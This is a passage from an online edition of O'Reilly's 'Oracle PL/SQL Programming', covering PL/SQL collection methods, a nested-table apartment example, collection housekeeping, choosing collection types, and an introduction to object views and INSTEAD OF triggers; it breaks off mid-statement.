If i and/or j refer to nonexistent elements, DELETE will attempt to "do the right thing" and will not raise an exception. For example, if you have three elements in a TABLE item and DELETE(-5,1), the first element will be deleted. However, DELETE(-5) will do nothing.

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception.

19.6.3 EXISTS(i)

Specification
FUNCTION EXISTS (i IN BINARY_INTEGER) RETURN BOOLEAN;
Example
DECLARE
   my_list Color_tab_t := Color_tab_t();
   element INTEGER := 1;
BEGIN
   ...
   IF my_list.EXISTS(element)
   THEN
     my_list(element) := NULL;
   END IF;
END;
Returns

Boolean TRUE if i th element exists, FALSE otherwise. Never returns NULL. If you have used TRIM or DELETE to remove an element i that existed previously, EXISTS(i) returns false.

Applies to

Nested tables, index-by tables, VARRAYs.

Boundary considerations

If applied to an uninitialized (atomically null) nested table or VARRAY, or to an initialized collection with no elements, simply returns FALSE. You can use EXISTS beyond the COUNT without raising an exception.

Exceptions possible

If i is not an integer and cannot be converted to an integer, EXISTS will raise VALUE_ERROR. This exception is possible for any collection method which accepts an argument.

19.6.4 EXTEND [ (n [,i] ) ]

Specification (overloaded)
PROCEDURE EXTEND (n BINARY_INTEGER:=1);
PROCEDURE EXTEND (n BINARY_INTEGER, i BINARY_INTEGER);
Example
CREATE PROCEDURE push (the_list IN OUT List_t, new_value IN VARCHAR2)
AS
BEGIN
   the_list.EXTEND;
   the_list(the_list.LAST) := new_value;
END;
Action

Appends element(s) to a collection. EXTEND with no arguments appends a single null element. EXTEND(n) appends n null elements. EXTEND(n,i) appends n elements and sets each to the same value as the ith element; this form of EXTEND is required for collections with NOT NULL elements.

Applies to

Nested tables, VARRAYs. Applying it to an index-by table will cause a compile-time error.

Boundary considerations

If you have deleted or trimmed from the end of a collection, EXTEND will "jump over" (skip) the deleted elements when it assigns a new index. If n is null, EXTEND will do nothing.

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception. An attempt to EXTEND a VARRAY beyond its declared limit raises SUBSCRIPT_BEYOND_LIMIT. If the ith element does not exist, EXTEND will raise SUBSCRIPT_BEYOND_COUNT or, in the case of a VARRAY with a limit less than i, EXTEND will raise SUBSCRIPT_BEYOND_LIMIT.

19.6.5 FIRST, LAST

Specification
FUNCTION FIRST RETURN BINARY_INTEGER;

FUNCTION LAST RETURN BINARY_INTEGER;
Example
IF my_list.EXISTS(my_list.FIRST)
THEN
   my_list(my_list.FIRST) := 42;
ELSE
   my_list.EXTEND;
   my_list(my_list.FIRST) := 42;
END IF;
Returns

FIRST returns the lowest index in use in the collection; LAST returns the highest.

Applies to

Nested tables, index-by tables, VARRAYs.

Boundary considerations

FIRST and LAST return NULL when applied to initialized collections which have no elements. For VARRAYs which have at least one element, FIRST is always 1, and LAST is always equal to COUNT.

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception.

19.6.6 LIMIT

Specification
FUNCTION LIMIT RETURN BINARY_INTEGER;
Example
IF my_list.LAST < my_list.LIMIT
THEN
   my_list.EXTEND;
END IF;
Returns

The maximum number of elements that is possible for a given VARRAY.

Applies to

VARRAYs only. Returns NULL if applied to nested tables or index-by tables.

Boundary considerations

None

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception.

19.6.7 PRIOR(i), NEXT(i)

Specification
FUNCTION PRIOR (i BINARY_INTEGER) RETURN BINARY_INTEGER;
FUNCTION NEXT (i BINARY_INTEGER) RETURN BINARY_INTEGER;
Example

This function returns the sum of elements in a List_t collection of numbers:

CREATE FUNCTION compute_sum (the_list IN List_t) RETURN NUMBER
AS
   elt BINARY_INTEGER := the_list.FIRST;
   total NUMBER := 0;
BEGIN
   LOOP
      EXIT WHEN elt IS NULL;
      total := total + the_list(elt);
      elt := the_list.NEXT(elt);
   END LOOP;
   RETURN total;
END;
Returns

PRIOR returns the next lower index in use relative to i; NEXT returns the next higher.

Applies to

Nested tables, index-by tables, VARRAYs.

Boundary considerations

If applied to initialized collections which have no elements, returns NULL. If i is greater than or equal to COUNT, NEXT returns NULL; if i is less than or equal to FIRST, PRIOR returns NULL. (Currently, if the collection has elements, and i is greater than COUNT, PRIOR returns LAST; if i is less than FIRST, NEXT returns FIRST; however, do not rely on this behavior in future Oracle versions.)

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception.

19.6.8 TRIM [ (n ) ]

Specification
PROCEDURE TRIM (n BINARY_INTEGER:=1);
Example
CREATE FUNCTION pop (the_list IN OUT List_t) RETURN VARCHAR2
AS
   l_value VARCHAR2(30);
BEGIN
   IF the_list.COUNT >= 1
   THEN
      /* Save the value of the last element in the collection
      || so it can be returned
      */
      l_value := the_list(the_list.LAST);
      the_list.TRIM;
   END IF;
   RETURN l_value;
END;
Action

Removes n elements from the end of a collection. Without arguments, TRIM removes exactly one element. Confusing behavior occurs if you combine DELETE and TRIM actions on a collection; for example, if an element that you are trimming has previously been DELETEd, TRIM "repeats" the deletion but counts this as part of n, meaning that you may be TRIMming fewer actual elements than you think.

Applies to

Nested tables, VARRAYs. Attempting to TRIM an index-by table will produce a compile-time error.

Boundary considerations

If n is null, TRIM will do nothing.

Exceptions possible

Will raise SUBSCRIPT_BEYOND_COUNT if you attempt to TRIM more elements than actually exist. If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception.

Previous: 19.5 Collection Pseudo-Functions | Oracle PL/SQL Programming, 2nd Edition | Next: 19.7 Example: PL/SQL-to-Server Integration
19.5 Collection Pseudo-Functions | Book Index | 19.7 Example: PL/SQL-to-Server Integration
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.7 Example: PL/SQL-to-Server Integration

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.7 Example: PL/SQL-to-Server Integration

To provide an(other) demonstration of how collections can ease the burden of transferring data between server and PL/SQL application program, let's look at a new example. The main entity in this example is the "apartment complex." We use a nested table of objects in order to hold the list of apartments for each apartment complex.

Each apartment is described by the following attributes:

CREATE TYPE Apartment_t AS OBJECT (
   unit_no NUMBER,
   square_feet NUMBER,
   bedrooms NUMBER,
   bathrooms NUMBER,
   rent_in_dollars NUMBER
);

And we can now define the nested table type which will hold a list of these apartment objects:

CREATE TYPE Apartment_tab_t AS TABLE OF Apartment_t;

Using this type as the type of a column, here is the definition of our database table:

CREATE TABLE apartment_complexes
  (name VARCHAR2(75),
   landlord_name VARCHAR2(45),
   apartments Apartment_tab_t)
NESTED TABLE apartments STORE AS apartments_store_tab;

If you're curious, the INSERT statements to populate such a table look like the following (note the use of nested constructors to create the collection of objects):

INSERT INTO apartment_complexes VALUES
   ('RIVER OAKS FOUR', 'MR. JOHNSON',
     Apartment_tab_t(
        Apartment_t(1, 780, 2, 1, 975),
        Apartment_t(2, 1200, 3, 2, 1590),
        Apartment_t(3, 690, 1, 1.5, 800),
        Apartment_t(4, 690, 1, 2, 450),
        Apartment_t(5, 870, 2, 2, 990)
     )
   );
INSERT INTO apartment_complexes VALUES
   ('GALLERIA PLACE', 'MS. DODENHOFF',
     Apartment_tab_t(
        Apartment_t(101, 1000, 3, 2, 1295),
        Apartment_t(102, 800, 2, 1, 995),
        Apartment_t(103, 800, 2, 1, 995),
        Apartment_t(201, 920, 3, 1.5, 1195),
        Apartment_t(202, 920, 3, 1.5, 1195),
        Apartment_t(205, 1000, 3, 2, 1295)
     )
  );

Now, at last, we can show off some wonderful features of storing collections in the database.

Imagine that we are the new managers of the River Oaks Four apartments (hardly large enough to qualify as a complex) and we want to demolish any unit that rents for less than $500, and raise the rent on everything else by 15%.

DECLARE
   /* Declare the cursor that will retrieve the collection of
   || apartment objects. Since we know we're going to update the
   || record, we can lock it using FOR UPDATE.
   */
   CURSOR aptcur IS
      SELECT apartments
        FROM apartment_complexes
       WHERE name = 'RIVER OAKS FOUR'
         FOR UPDATE OF apartments;

   /* Need a local variable to hold the collection of fetched
   || apartment objects.
   */
   l_apartments apartment_tab_t;
   which INTEGER;
BEGIN
   /* A single fetch is all we need! */
   OPEN aptcur;
   FETCH aptcur INTO l_apartments;
   CLOSE aptcur;

   /* Iterate over the apartment objects in the collection and
   || delete any elements of the nested table which meet the
   || criteria
   */
   which := l_apartments.FIRST;
   LOOP
      EXIT WHEN which IS NULL;
      IF l_apartments(which).rent_in_dollars < 500
      THEN
         l_apartments.DELETE(which);
      END IF;
      which := l_apartments.NEXT(which);
   END LOOP;

   /* Now iterate over the remaining apartments and raise the
   || rent. Notice that this code will skip any deleted
   || elements.
   */
   which := l_apartments.FIRST;
   LOOP
      EXIT WHEN which IS NULL;
      l_apartments(which).rent_in_dollars :=
         l_apartments(which).rent_in_dollars * 1.15;
      which := l_apartments.NEXT(which);

   END LOOP;

   /* Finally, ship the entire apartment collection back to the
   || server -- in a single statement!
   */
   UPDATE apartment_complexes
      SET apartments = l_apartments
    WHERE name = 'RIVER OAKS FOUR';

END;

To me, one of the most significant aspects of this example is the single-statement fetch (and store). This PL/SQL fragment emulates the creating of a "client-side cache" of data, which is an essential concept in many object-oriented and client-server architectures. Using this kind of approach with collections can reduce network traffic and improve the quality of your code.

Previous: 19.6 Collection Built-Ins | Oracle PL/SQL Programming, 2nd Edition | Next: 19.8 Collections Housekeeping
19.6 Collection Built-Ins | Book Index | 19.8 Collections Housekeeping
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.8 Collections Housekeeping

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.8 Collections Housekeeping

Here are some not-so-obvious bits of information that will assist you in using nested tables and VARRAYS.

19.8.1 Privileges

When they live in the database, collection datatypes can be shared by more than one Oracle user (schema). As you can imagine, privileges are involved. Fortunately, it's not complicated; only one Oracle privilege -- EXECUTE -- applies to collection types.

If you are SCOTT and you want to grant JOE permission to use Color_tab_t in his programs, all you need to do is grant the EXECUTE privilege to him:

GRANT EXECUTE on Color_tab_t TO JOE;

Joe can then refer to the type using schema.type notation. For example:

CREATE TABLE my_stuff_to_paint (
   which_stuff VARCHAR2(512),
   paint_mixture SCOTT.Color_tab_t
);

EXECUTE privileges are also required by users who need to run PL/SQL anonymous blocks that uses the object type. That's one of several reasons that named PL/SQL modules -- packages, procedures, functions -- are generally preferred. Granting EXECUTE on the module confers the grantor's privileges to the grantee while executing the module.

For tables that include collection columns, the traditional SELECT, INSERT, UDPATE, and DELETE privileges still have meaning, as long as there is no requirement to build a collection for any columns. However, if a user is going to INSERT or UPDATE the contents of a collection column, the user must have the EXECUTE privilege on the type, because that is the only way to use the default constructor.

19.8.2 Data Dictionary

There are a few new entries in the data dictionary (shown in Table 19.3) that will be very helpful in managing your collection types. The shorthand dictionary term for user-defined types is simply TYPE. Collection type definitions are found in the USER_SOURCE view (or DBA_SOURCE, or ALL_SOURCE).

Table 19.3: Data Dictionary Entries for Collection Types

To Answer the Question...

Use This View

As In

What collection types have I created?

USER_TYPES

SELECT type_name
  FROM user_types
 WHERE type_code = 'COLLECTION';

What was the original type definition of collection Foo_t?

USER_SOURCE

SELECT text
  FROM user_source
 WHERE name = 'FOO_T'
   AND type = 'TYPE'
ORDER BY line;

What columns implement Foo_t?

USER_TAB_COLUMNS

SELECT table_name, column_name
  FROM user_tab_columns
 WHERE data_type = 'FOO_T';

What database objects are dependent on Foo_t?

USER_DEPENDENCIES

SELECT name, type
  FROM user_dependencies
 WHERE referenced_name = 'FOO_T';

19.8.3 Call by Reference or Call by Value

Under certain circumstances that are beyond the control of the programmer, PL/SQL will pass collection arguments by reference rather than by value. The rationale is that since collections can be large, it is more efficient to pass only a pointer (call by reference) than to make a copy of the collection (call by value). Usually, the compiler's choice of parameter passing approach is invisible to the application programmer.

Not knowing whether the compiler will pass arguments by reference or by value can lead to unexpected results if all of the following conditions are met:

  1. You have created a procedure or function "in line" in another module's declaration section (these are known as nested or local program units and are explained in Chapter 15, Procedures and Functions).

  2. The inline module refers to a "global" collection variable declared outside its definition.

  3. In the body of the outer module, this collection variable is passed as an actual parameter to the inline module.

This is a rather uncommon combination of affairs in most PL/SQL programs. If you are in the habit of using "in line" module definitions, it's probably not a good idea to rely on the value of global variables anyway!

Previous: 19.7 Example: PL/SQL-to-Server Integration | Oracle PL/SQL Programming, 2nd Edition | Next: 19.9 Which Collection Type Should I Use?
19.7 Example: PL/SQL-to-Server Integration | Book Index | 19.9 Which Collection Type Should I Use?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.9 Which Collection Type Should I Use?

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.9 Which Collection Type Should I Use?

It's not altogether obvious how to choose the best type of collection for a given application. Here are some guidelines:

  • If you intend to store large amounts of persistent data in a column collection, your only option is a nested table. Oracle will then use a separate table behind the scenes to hold the collection data, so you can allow for almost limitless growth.

  • If you want to preserve the order of elements that get stored in the collection column and your dataset will be "small," use a VARRAY. What is "small?" I tend to think in terms of how much data you can fit into a single database block; if you span blocks, you get row chaining, which decreases performance. The database block size is established at database creation time and is typically 2K, 4K, or 8K.

  • Here are some other indications that a VARRAY would be appropriate: you don't want to worry about deletions occurring in the middle of the dataset; your data has an intrinsic upper bound; or you expect, in general, to retrieve the entire collection simultaneously.

  • If you need sparse PL/SQL tables, say, for "data-smart" storage, your only practical option is an index-by table. True, you could allocate and then delete elements of a nested table variable as illustrated in the section on NEXT and PRIOR methods, but it is inefficient to do so for anything but the smallest collections.

  • If your PL/SQL program needs to run under both Oracle7 and Oracle8, you also have only one option: index-by tables. Or, if your PL/SQL application requires negative subscripts, you also have to use index-by tables.

Previous: 19.8 Collections Housekeeping | Oracle PL/SQL Programming, 2nd Edition | Next: 20. Object Views
19.8 Collections Housekeeping | Book Index | 20. Object Views
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] Object Views

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 19.9 Which Collection Type Should I Use? Chapter 20 Next: 20.2 INSTEAD OF Triggers

20. Object Views

Contents:
Example: Using Object Views
INSTEAD OF Triggers
Syntax for Object Views
Differences Between Object Views and Object Tables
Not All Views with Objects Are Object Views
Schema Evolution
Object Views Housekeeping
Postscript: Using the BFILE Datatype

Although Oracle's object extensions offer rich possibilities for the design of new systems, few Oracle shops with large relational databases in place will want to, or be able to, completely reengineer those systems to use objects. To allow established applications to take advantage of the new object features over time, Oracle8 provides object views. With object views, you can achieve the following benefits:

  • Efficiency of object access. In PL/SQL, and particularly in Oracle Call Interface (OCI) applications, object programming constructs provide for the convenient retrieval, caching, and updating of object data. These programming facilities provide performance improvements, with the added benefit that application code can now be more succinct.

  • Ability to navigate using REFs (reference pointers). By designating unique identifiers as the basis of an object identifier (OID), you can reap the benefits of object navigation. For example, you can retrieve attributes from related "virtual objects" using dot notation rather than via explicit joins.

  • Easier schema evolution. In early versions of Oracle8, a pure object approach renders almost any kind of schema change at best ugly (see Chapter 18, Object Types). In contrast, object views offer more ways that you can change both the table structure and the object type definitions of an existing system.

  • Consistency with new object-based applications. If you need to extend the design of a legacy database, the new components can be implemented in object tables; new object-oriented applications requiring access to existing data can employ a consistent programming model. Legacy applications can continue to work without modification.

Other new features of Oracle can improve the expressiveness of any type of view, not just object views. Two features which are not strictly limited to object views are collections and "INSTEAD OF" triggers. Consider two relational tables with a simple master-detail relationship. Using the Oracle objects option, you can portray the detail records as a single nonscalar attribute (collection) of the master, which could be a very useful abstraction. In addition, by using INSTEAD OF triggers, you can tell Oracle exactly how to perform inserts, updates, and deletes on any view. These two features are available to both object views and nonobject views. (I've described collections in Chapter 19, Nested Tables and VARRAYs, and I describe INSTEAD OF triggers later in this chapter.)

From an object-oriented perspective, there is one unavoidable "disadvantage" of object views, when compared to reengineering using an all-object approach: object views cannot retrofit any benefits of encapsulation. Insofar as old applications apply INSERT, UPDATE, and DELETE statements directly to table data, they will subvert the benefits of encapsulation normally provided by an object approach. As I discussed in Chapter 18, object-oriented designs typically prevent free-form access directly to object data.

Despite this intrusion of reality, if you do choose to layer object views on top of a legacy system, your future applications can employ object abstractions and enjoy many benefits of encapsulation and information hiding. And your legacy systems are no worse off than they were before! Figure 20.1 illustrates this use of object views.

Figure 20.1: Object views allow you to "bind" an object type definition to (existing) relational tables

This chapter discusses the nuances of creating and, to a lesser extent, using object views. The discussion of PL/SQL-specific aspects of object views is rather terse, for two reasons:

  1. Object views are substantially similar to regular object types, which are covered in a Chapter 18.

  2. As a topic, object views are closer to SQL than to PL/SQL.

However, PL/SQL developers who are interested in fully exploiting Oracle's object features must understand object views. This chapter pays close attention to the areas of difference between object tables and object views.

20.1 Example: Using Object Views

In our first example, let's look at how object views might be used at Planetary Pages, a fictitious firm that designs Web sites. Their existing relational application tracks JPEG, GIF, and other images that they use when designing client Web sites. These images are stored in files, but data about them are stored in relational tables. To help the graphic artists locate the right image, each image has one or more associated keywords, stored in a straightforward master-detail relationship.

Our legacy system has one table for image metadata:

CREATE TABLE images (
   image_id INTEGER NOT NULL,
   file_name VARCHAR2(512),
   file_type VARCHAR2(12),
   bytes INTEGER,
   CONSTRAINT image_pk PRIMARY KEY (image_id));

and one table for the keywords associated with the images:

CREATE TABLE keywords (
   image_id INTEGER NOT NULL,
   keyword VARCHAR2(45) NOT NULL,
   CONSTRAINT keywords_pk PRIMARY KEY (image_id, keyword),
   CONSTRAINT keywords_for_image FOREIGN KEY (image_id)
      REFERENCES images (image_id));

To create a more useful abstraction, Planetary Pages has decided to logically merge these two tables into a single object view. To do so, we must first create an object type with appropriate attributes. Since there are usually only a few keywords for a given image, this relationship lends itself to using an Oracle collection to hold the keywords.

Before we can create the top-level type, we must first define a collection to hold the keywords. We choose a nested table because keyword ordering is unimportant and because there is no logical maximum number of keywords.[1]

[1] If ordering were important, or if there were a (small) logical maximum number of keywords per image, a VARRAY collection would be a better choice. See Chapter 19 for details.

CREATE TYPE Keyword_tab_t AS TABLE OF VARCHAR2(45);

From here, it's a simple matter to define the object type. To keep the example short, we'll define only a couple of methods. In the following object type specification, notice that the keywords attribute is defined on the Keyword_tab_t collection type:

CREATE TYPE Image_t AS OBJECT (
    image_id INTEGER,
    file_name VARCHAR2(512),
    file_type VARCHAR2(12),
    bytes INTEGER,
    keywords Keyword_tab_t,
    MEMBER FUNCTION set_attrs (new_file_name IN VARCHAR2,
       new_file_type IN VARCHAR2, new_bytes IN INTEGER)
       RETURN Image_t,
    MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
       RETURN Image_t,
    PRAGMA RESTRICT_REFERENCES (DEFAULT, RNDS, WNDS, RNPS, WNPS)
);

Here is the body:

CREATE TYPE BODY Image_t
AS
   MEMBER FUNCTION set_attrs (new_file_name IN VARCHAR2,
       new_file_type IN VARCHAR2, new_bytes IN INTEGER)
       RETURN Image_t
   IS
      image_holder Image_t := SELF;
   BEGIN
      image_holder.file_name := new_file_name;
      image_holder.file_type := new_file_type;
      image_holder.bytes := new_bytes;
      RETURN image_holder;
   END;
   MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
       RETURN Image_t
   IS
      image_holder Image_t := SELF;
   BEGIN
      image_holder.keywords := new_keywords;
      RETURN image_holder;
   END;
END;

I've presented the body only for completeness; from this point forward, I'll discuss object views without regard for the details of their underlying type bodies.

At this point, there is no connection between the relational tables and the object type. They are independent organisms. It is when we build the object view that we "overlay" the object definition onto the tables.

Finally, to create the object view, we use the following statement:

CREATE VIEW images_v
   OF Image_t
   WITH OBJECT OID (image_id)
AS
   SELECT i.image_id, i.file_name, i.file_type, i.bytes,
      CAST (MULTISET (SELECT keyword
                        FROM keywords k
                       WHERE k.image_id = i.image_id)
        AS Keyword_tab_t)
     FROM images i;

Interestingly, there are only a couple of components of this statement that are unique to object views:

OF Image_t

This means that the view will return objects of type Image_t.

WITH OBJECT OID (image_id)

To behave like a "real" object instance, data returned by the view will need some kind of object identifier. By designating the primary key as the basis of a virtual OID, we can enjoy the benefits of referencing objects of this type from other object views.

In addition, the select-list has an important requirement unique to object views. The select-list must define the same number of columns as there are attributes in the object type Image_t. The datatype of each retrieved column matches the datatype of its corresponding object attributes.

You can use the CAST clause shown in the example in any view, not just in object views (but it does require the presence of the Oracle objects option). This subquery performs an "on-the-fly" conversion of the detail records into a collection type. For more details about the CAST and MULTISET operators, refer to Section 19.5, "Collection Pseudo-Functions" in Chapter 19.

OK, now that we've created it, what can we do with it? Well, we can retrieve data from it just as if it were an object table. First, let's put some data into the underlying tables:

INSERT INTO images VALUES (100001, 'smiley_face.gif', 'GIF', 813);
INSERT INTO images VALUES (100002, 'peace_symbol.gif', 'GIF', 972);

INSERT INTO KEYWORDS VALUES (100001, 'SIXTIES');
INSERT INTO KEYWORDS VALUES (100001, 'HAPPY FACE');

INSERT INTO KEYWORDS VALUES (100002, 'SIXTIES');
INSERT INTO KEYWORDS VALUES (100002, 'PEACE SYMBOL');
INSERT INTO KEYWORDS VALUES (100002, 'JERRY RUBIN');

Now, from SQL*Plus, you can make a query like the following:

SELECT image_id, file_name, keywords
  FROM images_v;

Which yields:

IMAGE_ID FILE_NAME        KEYWORDS
-------- ---------------- -------------------------------------------------------
  100001 smiley_face.gif  KEYWORD_TAB_T('HAPPY FACE', 'SIXTIES')
  100002 peace_symbol.gif KEYWORD_TAB_T('JERRY RUBIN', 'PEACE SYMBOL', 'SIXTIES')

Or, in a PL/SQL block, we can fetch and display a row of data very easily:

SET SERVEROUTPUT ON SIZE 100000
DECLARE
   CURSOR icur IS
      SELECT VALUE(v)
        FROM images_v v
       WHERE image_id = 100001;
   image Image_t;
BEGIN
   OPEN icur;
   FETCH icur INTO image;
   CLOSE icur;

   /* Print it out, just to prove that we got it */
   DBMS_OUTPUT.PUT_LINE('Image:    ' || image.image_id);
   DBMS_OUTPUT.PUT_LINE('File:     ' || image.file_name);
   DBMS_OUTPUT.PUT('Keywords: ');

   /* image.keywords is a nested table, and we can just loop
   || through it to print each keyword.
   */
   FOR key_elt IN 1..image.keywords.COUNT
   LOOP
      DBMS_OUTPUT.PUT(image.keywords(key_elt) || '   ');
   END LOOP;
   DBMS_OUTPUT.NEW_LINE;
END;

This results in:

Image:    100001
File:     smiley_face.gif
Keywords: HAPPY FACE   SIXTIES

See Chapter 19 for more examples of retrieving data from an object table.

Other things you can do with object views include the following:

  • Define REFs that point to "virtual" objects (discussed in detail in Section 20.4, "Differences Between Object Views and Object Tables" later in this chapter).

  • Encapsulate an object view (more or less) using object methods and/or PL/SQL packages (discussed in-depth in Chapter 18).

  • Write INSTEAD OF triggers that will allow direct manipulation of the view's contents (discussed in the next section).

Previous: 19.9 Which Collection Type Should I Use? | Oracle PL/SQL Programming, 2nd Edition | Next: 20.2 INSTEAD OF Triggers
19.9 Which Collection Type Should I Use? | Book Index | 20.2 INSTEAD OF Triggers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.2 INSTEAD OF Triggers

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.2 INSTEAD OF Triggers

Some conventional views are "inherently modifiable." For example, even Oracle Version 6 allowed updates through a view of a single table which uses no aggregation clauses such as GROUP BY. While Oracle7 added to the family of modifiable views, even in Oracle8 there is still a class of views which are "inherently unmodifiable" if you limit yourself to standard SQL.

However, in Oracle8, if you can come up with the logic of how you want Oracle to interpret a particular operation on a view -- however wacky that view might be -- you can implement the behavior with INSTEAD OF triggers. Happily, this new type of trigger is available to all Oracle8 users; it is not a part of the Oracle objects option.

Conceptually, INSTEAD OF triggers are very simple. You write code that the Oracle server will execute when a program performs a DML operation on the view. Unlike a conventional BEFORE or AFTER trigger, an INSTEAD OF trigger takes the place of, rather than supplements, Oracle's usual DML behavior. (And in case you're wondering, you cannot use BEFORE/AFTER triggers on any type of view, even if you have defined an INSTEAD OF trigger on the view.)

For example, to allow applications to INSERT into our images_v view, we could write the following trigger:

CREATE OR REPLACE TRIGGER images_v_insert
INSTEAD OF INSERT ON images_v
FOR EACH ROW
BEGIN
   /* This will fail with DUP_VAL_ON_INDEX if the images table
   || already contains a record with the new image_id.
   */
   INSERT INTO images
      VALUES (:NEW.image_id, :NEW.file_name, :NEW.file_type,
              :NEW.bytes);

   IF :NEW.keywords IS NOT NULL THEN
      DECLARE
         /* Note: apparent bug prevents use of :NEW.keywords.LAST.
         || The workaround is to store :NEW.keywords as a local
         || variable (in this case keywords_holder.)
         */
         keywords_holder Keyword_tab_t := :NEW.keywords;
      BEGIN
         FOR the_keyword IN 1..keywords_holder.LAST
         LOOP
            INSERT INTO keywords
            VALUES (:NEW.image_id, keywords_holder(the_keyword));
         END LOOP;
       END;
   END IF;
END;

Once we've created this INSTEAD OF trigger, we can insert a record into this object view (and hence into both underlying tables) quite easily using:

INSERT INTO images_v
VALUES (Image_t(41265, 'pigpic.jpg', 'JPG', 824,
        Keyword_tab_t('PIG', 'BOVINE', 'FARM ANIMAL')));

This statement causes the INSTEAD OF trigger to fire, and as long as the primary key value (image_id = 41265) does not already exist, the trigger will insert the data into the appropriate tables.

Similarly, we can write additional triggers that handle updates and deletes. These triggers use the predictable clauses INSTEAD OF UPDATE and INSTEAD OF DELETE.

20.2.1 INSTEAD OF Triggers: To Use or Not to Use?

Before launching headlong into the business of updating complex views with triggers, let's step back and look at the bigger picture. Do we really want to use INSTEAD OF triggers in an Oracle environment? Particularly if we are migrating toward an object approach, isn't this new feature just a relational "throwback" which facilitates a free-for-all in which any application can perform DML?

Yes and no.

Let's consider arguments on both sides, and come up with some considerations so you can decide what's best for your application.

20.2.1.1 The "don't use" argument

On the one hand, you could use tools such as packages and methods to provide a more comprehensive technique than triggers for encapsulating DML. It is nearly trivial to take the logic from our INSTEAD OF trigger and put it into an alternate PL/SQL construct which has more universal application. In other words, if you standardize on some combination of packages and object methods as the means of performing DML, you could keep your environment consistent without using view triggers. You might conclude that view triggers are just another variable in an increasingly complex standards equation.

Moreover, even Oracle cautions against the "excessive use" of triggers, because they can cause "complex interdependencies." Imagine if your INSTEAD OF triggers performed DML on tables which had other triggers, which performed DML on still other tables...it's easy to see how this could get confusing.

20.2.1.2 The "use" argument

On the other hand, you can put much of the necessary logic into an INSTEAD OF trigger that you would normally put into a package or method body. Doing so in combination with a proper set of privilege restrictions could protect your data just as well as, or even better than, methods or packages.

What's more, if you use a client tool such as Oracle Forms, INSTEAD OF triggers allow you to use much more of the product's default functionality when you create a Forms "block" against a view rather than a table. This fact alone could make object views wildly popular.

Finally, if you use OCI, a more significant factor is that INSTEAD OF triggers are required if the object view is not inherently modifiable and you want to be able to easily "flush" cached object view data back to the server.

20.2.1.3 What to do?

One of the most important architectural decisions you will make for your object views is where to put SQL statements that insert, update, and delete data. Going on the assumption that you want to localize these operations on the server side, you have at least three choices: PL/SQL packages, object methods, and INSTEAD OF triggers.

Table 20.1 summarizes some of the major considerations of the three techniques. This table is not meant to compare these approaches "in general" but only as they apply to localizing DML on object views.

Table 20.1: Assessment of Techniques for Encapsulating DML on Object Views
DML Consideration | PL/SQL Package | Object Method | INSTEAD OF Trigger
Ability to adapt to schema changes | Excellent; can be easily altered and recompiled independently | Poor, especially if object types are responsible for their own persistence | Good, but still some areas where Oracle does not automatically recompile dependent structures
Risk of unexpected interactions | Low | Low | High; triggers may have unpredictable interactions with each other
Ease of use with client tool default functionality (specifically, Developer/2000) | Acceptable; programmer must add code for all client-side transactional triggers | Acceptable; programmer must add code for all client-side transactional triggers | Excellent (however, there is no INSTEAD OF LOCK server-side trigger)
Ability to use technique on transient objects | Very good, but not a "natural" use of packages | Excellent | Theoretically possible, but why bother?
Can be turned on and off at will | No | No | Yes (by disabling and enabling the trigger)

Chapter 18 discussed at some length architectural considerations of packages versus methods. While those considerations also apply to object views, we now need to compare packages and methods with INSTEAD OF triggers.

As you can see, there is no clear "winner." Each technique has benefits that may be of more or less importance to your own particular application.

And of course, you may decide that INSTEAD OF triggers make sense in combination with PL/SQL packages and/or object methods to provide layers of encapsulation. For example:

CREATE OR REPLACE TRIGGER images_v_insert
INSTEAD OF INSERT ON images_v
FOR EACH ROW
BEGIN
   /* Call a packaged procedure to perform the insertion.
   || (The called procedure is not presented in the text.)
   */
   manage_image.create_one(:NEW.image_id, :NEW.file_type,
